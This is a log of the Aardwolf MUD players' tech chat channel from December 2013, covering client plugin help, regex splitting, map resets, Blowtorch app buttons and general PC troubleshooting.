T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: thanks
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Weylos Tech: np
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: what's a good way of using regex to split something, like a,b,c would need to be stored as %1="a,b" and %2="c"
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: it might also be a,b
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: or a,b,c,d
T3/r7/2013-12-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What client?  In mush you can use utils.split
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: mush
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: mmm
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Akuri Tech: hmmm thats handy to know
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: this way you can use comma as delimiter but you'd need to reattach the first few string
T3/r7/2013-12-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: That will work for single splits, but for mulitple char splits, I use this code: http://lua-users.org/wiki/MakingLuaLikePhp
T3/r7/2013-12-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: the explode function.
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: isn't there something simpler, I need the text after the last comma, and everything before it, in 2 variables
T3/r7/2013-12-24.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah probably, but I'm not good with regex, I usually have to hack it together.
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Doku Tech: using regex, %*,%. should do what you want..    a,b,c,d,...,n  would store "a,b,c,d,..." in the first var, EAT the last , and store the last char in the second var.
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: lemme try
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: is this dot part of the regex
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Doku Tech: yes.    %* is eat all, %. is a single character
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: I need strings tho
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: like d would be asdsad asdasd asd a
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Doku Tech: "a,b,c,d" "%*,%."  1="a,b,c" 2="d"
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: doesn't work for me
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: explode function is fine tho
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: cept I'd need to reattach
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Gener Tech: if i set up cexits in mapper, then when I use S&D it will auto open doors, etc?  
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: ye
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Doku Tech: try this in mush (if you are only concerned about chopping off the last one)  NOTE: I don't have mush.    "[w,]+,w+"     
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Doku Tech: er... ate my slashes.   "[\w,]+,\w+"
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Loony Lachdanan Tech: it feels really awesome when you get a regex workinglook
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Loony Lachdanan Tech: whoops. forgot i was typing that :P
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Akuri Tech: regex is going to be the death of me hahaha 
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Ixle Tech: www.regexpal.com
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: gonna use the explode
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: this explode function I had to do for 1 exam I think
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: young and handsome :(
T3/r7/2013-12-24.txt.gz:{chan ch=tech}TrEz Tech: now I'm awesome, richer and handsome
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: just installed the sear and destroy gui and i can't resize the window, any suggestions
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Elysian Tech: freeze for a month!
T3/r7/2013-12-24.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: don't really thing that would help
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Dreckis Tech: in mush how i make the main window resizable....i somehow fat fingered and changed it to 2 lines and locked the size
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Nuanse Tech: you cant change the size from bottom right corner?
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Nuanse Tech: then try "resetaard"
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Dreckis Tech: no the resize border went away
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Dreckis Tech: thanks
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: besides winkle, who else makes plugins for mush client?
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Cryos Tech: bast, fiendish
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: thanks
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Bast
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Taste The Alestorm Tech: fiendish? 
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Taste The Alestorm Tech: faster than me :P
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Tech: Cryos smiles happily.
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Ixle Tech: Mendaloth just released one and referenced some others. Recent note on tech forum about it.
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Thyth Tech: how do i do something like #7 a s on aardmush?
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Thyth Tech: or mush
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Furen Tech: where can i DL the plugins (as in all of them in a zip) for aard?
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Definitely Defines Tech: there are many different places they're available from... theres no single zip. anyone can make them so many players have their own sites, etc.
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Definitely Defines Tech: finger bast, ex.
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Furen Tech: thank you
T3/r7/2013-12-25.txt.gz:{chan ch=tech}Furen Tech: in mush what is the plugin that shows the same thing a score?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Elysian Tech: what command turns on level of items when type equipment?  Seems I turned it off accidently
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Trachx Tech: noobjlevel
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Elysian Tech: appreciated thanks.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Trachx Tech: check "config all" for other useful flags
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Elysian Tech: yeah I scanned them must have missed it.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Thyth Tech: help, same old stuck s&d gui
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Thyth Tech: xset reset gui doesnt work
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Thyth Tech: nvm, found it
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: When using keyboard, I can use numpad to walk around rooms. How do we do this in laptops?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: By huge laptop with numpad, type n,s,e,d, etc, or create a macro for another set of keys....
T3/r7/2013-12-26.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: BUY huge....
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Turie Tech: Bamboo: You could just get a Numpad from Logitech.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: I see. Can we assign keys though? Like command + up arrow, etc?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Turie Tech: shft+ctrl+2 will let you see the macro setting on MUSHclient.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: Cool. Thanks guys. (:
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Turie Tech: You can get the Accelerate plugin from the MUSHclient forum to add more "macros" if you want.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: Hello techies. I'm trying to install tintin on my machine. Followed up to ./configure
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: When I type in 'make', I get this error
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: 'pcre.h' file not found
T3/r7/2013-12-26.txt.gz:{chan ch=tech}TrEz Tech: I'd install mush on wine like a boss
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Turie Tech: Trez is a food and wine expert.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Zetkax Tech: on my system pcre.h comes from libpcre0-devel - but trez is right, go for mush under wine
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: Why mush tho?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Zetkax Tech: wine + mush + winklewinkle s&d + triple pack = **boss**
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bobolai Tech: needs cheese.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Turie Tech: I like AardMUSH + Bast.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Zetkax Tech: actually i always find basts stuff gets in the way, have none of basts stuff turned on
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Vost Tech: I couldn't get Bast's plugins to work
T3/r7/2013-12-26.txt.gz:{chan ch=tech}TrEz Tech: I stole some of his ideas
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Vost Tech: I just use Winklewinkle's spellup script
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bobolai Tech: bot.start
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bobolai Tech: s&d does not work well with room cps
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Redwood Tech: Yes, it does.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Redwood Tech: As long as you have a nicely explored database.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bobolai Tech: wierd. i tried to use s&d autohunt (Pete) to get through the maze in Scarred Lands. somehow the last room to get out of the maze doesn't appear on the map at all
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: How do I hide the {chan ch=gossip} thingy again?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}TrEz Tech: tags
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bamboo Tech: Thanks!
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Wanner Tech: I'm using the blowtorch app and ask having trouble adding buttons.  i can as one, no problem, but i can't add anymore.  anyone know what i might be doing wrong?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Nuanse Tech: try to switch from horisontal view to vertical or vice versa
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Nuanse Tech: I couldnt add buttons in vertical view but in horisontal it worked just fine
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Wanner Tech: I've tried both ways, for some reason after one is made i can't do anything else.  
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Tech: Wanner shrugs helplessly.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Wink Tech: i'm able to add as many buttons as i want all over by pressing and holding on a spot on the screen..
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Wanner Tech: yeah, wink.  that's how i as the first but it won't let me do a second.  maybe I'll post on the forum
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Wanner Tech: err add the first
T3/r7/2013-12-26.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know how to manually specify a terminal type? i downloaded gentoo for rpi and followed their wiki page. but after booting my 
T3/r7/2013-12-26.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: login fails saying unable to detect terminal type
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: question
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I'm trying to upload some files with the "Sharefile" program.
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: for some reason, when I select some pdfs to upload, they just don't make it into the upload files area
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what could possibly be causing this?
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: other, smaller files can be selected and uploaded fine.  Another PC uploads similarly large pdf files
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: probably not related - trying to install IE 11 for Win 7 update always hangs at 83%
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Bobolai Tech: why are you trying to install IE
T3/r7/2013-12-26.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: 11 is the comes with W7
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I don't know, it's just what i use
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh wait, it went through this time
T3/r7/2013-12-26.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: brb
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Aragond Tech: what stats improves number of times your spell hits a mob?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: question!!!
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Garthis Tech: purple
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: my question is:  how can I compare the content of two pdf files?  They look identical, but the file size it a couple kb different.  
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is there a tool that can point out places where the text changed or something?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Definitely Defines Tech: lol...
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: the fastest way to open both up... line them up and switch between them
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: ur brain will detect the changes
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Definitely Defines Tech: ^rofl
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that could work this time, but that's just giving a man a fish.  I want to have a tool to efficiently solve this problem every time in the future!
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Definitely Defines Tech: did you not even google file comparison? there are hundreds or thousands of comparison tools
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: well I was hoping someone could recommend one from experience!
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Definitely Defines Tech: at the least you could copy and paste the text 
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Definitely Defines Tech: PDF files arent just plain text, a visibly small change could be a significant complex change to the actual file
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Definitely Defines Tech: just use diff, or get tortoisecomp or ultracompare or (one of the five million other programs)
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: i see winmerge with xdocdiff from googling for 5 secs
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Sepulchure Tech: aren't the results shown in S&D supposed to be hyperlinked/clickable?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Grae Tech: anyone here experience any display issues using chrome on windows 8/8.1?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Trachx Tech: eventually you have to turn them into pamphlets to get that ring
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Trachx Tech: mis
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: if the map freezes in mush how do i reset it?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: were you blinded?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tormat Tech: try map?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: nope not map
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: i would say move around and see if it resets
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: i have been. nothing so far. this has happend before
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tormat Tech: there is a ui reset command...
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: aardreset
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Ayasinda Tech: restart mush?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: anything before or after aardreset?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: oops wrong order... resetaard
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: that works, but I am looking for a fix that won't make me keep having go do that
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: all that did was move everthing back to the original position
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: didn't fix the map?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: nope
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: which map is freezing, the little boxes and lines one, or the text one?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: not the mapper, but the one with the actual text one that you would see normally on the mud
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: type "automap", pay attention to which message you receive
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: you will no longer see the map auto when you move
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: works again
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: then type "tags", make sure that "Global" is "On" and that "MAP" is "YES"
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: everything is as you said abelinc
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: try right-clicking the automap window and selecting "reset defaults"
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: he said its working again
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: if it glitches again
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: it works again. It's wierd becasue it has happend before
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: i will do
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Furen Tech: thanks for the help
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: whats to command to access the help file for bast's plugins?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Capiroto Tech: can i download the full aardwolf map db from anywhere?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Capiroto Tech: for use with aardwolf mushclient mapper i mean
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: maybe
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Swangin Tech: That would leave rooms 100% explored and give a massive advantage over other players?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: I worked hard on my maps, I'm not letting anyone skip that and have mine.  many feel the same
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Swangin Tech: That's a good question
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Swangin Tech: Word.
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Ryv Tech: doesn't work well if you're level locked out of some areas
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Capiroto Tech: hmm i don't think having the local map would interfere with the in-game character files as far as rooms explored go
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: no, he's still have to actually go there to get the explored rank, but he's have all the maps.  thats an advantage
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: just go explore.  you'll learn more by doing it yourself anyway
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Ayasinda Tech: it wouldnt work well anyway
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: i transfered all my maps to my alt (I did all the work anyway) and it was better then doing them all again, but not my much.  you'd be surpriesd how much of the maps are specific to the chara
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Ayasinda Tech: a high tier with perm pass would have a very different setting than a T0. So it would be much more work to correct them then to make them yourself
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Siren Cera Tech: exactly
T3/r7/2013-12-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: exploring and adding cexits doesn't take so much time.
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Alabama Tech: Hello!  I'm a new user of CMUD, I was wondering if anyone knows of a resource to help tailor it for Aardwolf?  Or should I just use the Aardwolf client?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: another technique is kill everything and move to the next room with mobs in it
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Cryos Tech: mis chan
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: I'd recommend the aard MUSHclient package unless you're personally very comfortable with cmud
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Prince Wario Tech: yes the aardmush cliend is awesome
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: there are a number of scripts in the cmud script repository if you choose to stick with it
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Elysian Tech: yes yes it is.
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Alabama Tech: Actually MUSHclient is what I have always used, I just mostly use it for MUSHes, so that is good to know
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Prince Wario Tech: we have one designed just for Aard
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: aard's MUSHclient package is totally pimped out, you'll love it :-)
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Prince Wario Tech: it's on the main page
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: go to aard's main website, click the screenshot
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Alabama Tech: Ohhh, the Aard client is built on MUSHclient?!
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Alabama Tech: Awesome, thanks guys
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Prince Wario Tech: yes it has windows for maps, communication, grouping and stats
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Prince Wario Tech: so you can see them all at the same time
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Alabama Tech: Beautiful!
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Alabama Tech: The link on the site leads to an outdated version but all set now!
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Prince Wario Tech: it will ask you to update
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Xaeris Tech: quick question - The stat/cash panel on my update seems to parse gold in a solid number, no , separators.  How do I change this?
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Xaeris Tech: (in mush that is)
T3/r7/2013-12-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Xaeris, I have two of those windows.  One from Bast, one from Fiendish's on the default install.  You'd have to ask them to add it.
T3/r7/2013-12-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You could edit the file yourself, but then it'd be replaced anytime you update.
T3/r7/2013-12-27.txt.gz:{chan ch=tech}Tech: looking at tech -h, to have the statmon plugin show commas for gold, you'd need to edit the file aard_statmon_gmcp.xml, find the two places where it has gmcpval("worth.gold")...and change that to be commas(gmcpval("worth.gold"))
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Anyone using blowtorch v2?  Just wondering about general usability, etc
T3/r7/2013-12-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: its very usable
T3/r7/2013-12-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: v2 got abit more features then Aardwolf from play store
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Pedwiddle Tech: So I shouldn't be concerned with the lack of updates?  Does that mean it's bug-free, or just not actively tested or developed?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: well I wouldn't use it, because its a test version and since I deleted it twice and reinstalled it.. just when it seems I got all my aliases,triggers etc. in check i get an error after a few days without any reason. then you can't go in aard very frustrating
T3/r7/2013-12-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: The normal Blowtorch from playstore is just fine
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Pedwiddle Tech: We obviously have different interpretations of the word "usable" :-)
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Pedwiddle Tech: Yeah, I'll stick with that
T3/r7/2013-12-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: v2 is very usable, till it bites you in the butt.. yeah good choice
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: anyone know what this means, and how to fix it?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: Trigger function "spelltag_on" not found or had a previous error.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Endtime Tech: means your bot is broke dude :P
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Endtime Tech: sorry, that was a lame joke
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: it was, lol
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: i just dont know where it came from
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Brun Tech: try reinstalling the plugin. usually works
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: i dont have a spellup script or triggers that i am aware of
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: what would it be called?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: i looked the list over and couldnt see a good fit
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Brun Tech: xBroadcast_Spelltags ?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: that worked!. ty
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Twitter Roninleader Tech: though mine called it xBroadcast_Spellskills
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Brun Tech: bast plugin iirc. anyway, happy mudding :)
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Capiroto Tech: anybody on?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Jaenelle Tech: No.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: I was on once. Didn't care for it.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Capiroto Tech: nevermind i just answered the question i was going to ask myself :p
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Bobolai Tech: how do i configure mushclient to replace words?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Notwalking Tech: alt+enter
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Notwalking Tech: then add an alias
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Bobolai Tech: not alias. like, if game sends me the word 'Haqlin', i want to replace it with 'Jeuwth'
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Seductress Reina Tech: hi
T3/r7/2013-12-28.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: so this mother board has a 24 pin power connector and a 8 pin power connector.  both are labeled 4atx power connectors, which doI use?  both?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i've been noticing splitted prompt. my mush is 1 years old without any updates.. what causes it?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Kippe Tech: does your prompt end with %c ?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: %c
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: '%cä
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: '%c'
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Kippe Tech: OK, Sorry but that was the end of my knowledge
T3/r7/2013-12-28.txt.gz:{chan ch=tech}TrEz Tech: wow hey there hairy a
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: it sound like "bad" without the "b" and "d"
T3/r7/2013-12-28.txt.gz:{chan ch=tech}TrEz Tech: kinda like a sheep sound
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: exactly:)
T3/r7/2013-12-28.txt.gz:{chan ch=tech}TrEz Tech: germans have some letters like that
T3/r7/2013-12-28.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: jägermeister
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Well... this is fun. Install Windows 7. No keyboard support.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Ergo, cannot even type the wifi password, let alone anything else.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: can't use on-screen keyboard?
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Nah, using it now. Just a hassle. :p
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: is there actually no keyboard support? that's really wierd.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah. So now I'm going to the manufacturer's website to get the drivers.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Or so I thought...
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: Book of Etzli boggles at the concept.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: is this a usb keyboard? just try a few different ports, you can usually use the chipset provided ones out of the box
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Tech: by wifi password, I'd guess laptop so internal keyboard
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Loony Lachdanan Tech: ah
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, internal keyboard. Just opened up notepad, pressed a lot of keys, no output.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Very strange, though. Let's see what a windows update brings about.
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Cryos Tech: go to start menu and check your hardware. there is prolly a driver that didn't install correctly
T3/r7/2013-12-28.txt.gz:{chan ch=tech}Cryos Tech: hardware manager
